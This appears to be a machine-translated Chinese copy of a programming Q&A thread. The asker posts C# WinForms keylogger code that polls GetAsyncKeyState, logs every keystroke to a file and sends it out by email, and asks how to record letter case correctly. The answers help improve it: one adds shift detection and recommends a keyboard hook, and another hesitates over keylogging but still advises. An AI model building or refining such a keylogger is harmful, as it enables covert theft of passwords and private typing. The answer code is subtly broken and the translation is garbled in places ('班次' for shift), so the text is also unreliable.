我正在制作一个winforms程序,它会将我输入的任何内容捕获到文本文件中,但它会使所有字符都被大写锁定。如何在输入时捕获它们? 例如,如果我键入AbCdEf,它会在文本框中输出ABCDEF ...
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(int vKey);
private void WriteTotxt(string value)
{
StreamWriter str = new StreamWriter("test.txt", true);
str.Write(value);
str.Close();
}
private void timer1_Tick(object sender, EventArgs e)
{
string buffer = "";
foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
if(GetAsyncKeyState(i) == -32767)
buffer += Enum.GetName(typeof(Keys), i);
}
text += buffer;
if (text.Length > 0)
{
WriteTotxt(text);
text = replaceChars(text);
Email.Send(text);
text = "";
}
}
答案 0 :(得分:1)
GetAsyncKeyState仅在键的状态时返回。它没有提到任何关于修饰符的内容:Shift,Alt等。所以要么检查是否使用GetAsyncKeyState,如果shift键是关闭的并将其存储在布尔值中。当您记录键并且班次下降时,请将其记为首都。如果不是那么小写。
bool shiftDown = GetAsyncKeyState(Keys.Shift) == -32767;
foreach (...)
{
if (GetAsyncKeyState(i) == -32767)
{
var key = i.ToString();
buffer += shiftDown ? i : i.ToLower();
}
}
另外,我真的建议您阅读文档,如果要检查所有键不使用GetAsyncKeyState,请使用键盘钩子。更多信息(示例):Here。因为您非常快速地遍历所有键,所以它根本没有效率。使用keyboardhook,当按下某个键时会触发回调。
答案 1 :(得分:0)
正如其他人提到的那样,我不愿意进入这个问题,因为键盘记录通常不会很好,但是(a)软件已经在市场上销售了(b)它不像信息已经不自由在MSDN上可用,所以......
并不是说你得到了错误的信息。您正在寻找不完整的信息,只询问 key 字母。正如GetAsyncKeyState()
page所述,您还需要检查修饰键,VK_SHIFT
,VK_CONTROL
,VK_MENU
等,以了解它们是否处于活动状态。
答案 2 :(得分:-3)
使用de event按键,使用ToUpper();
将击键转换为大写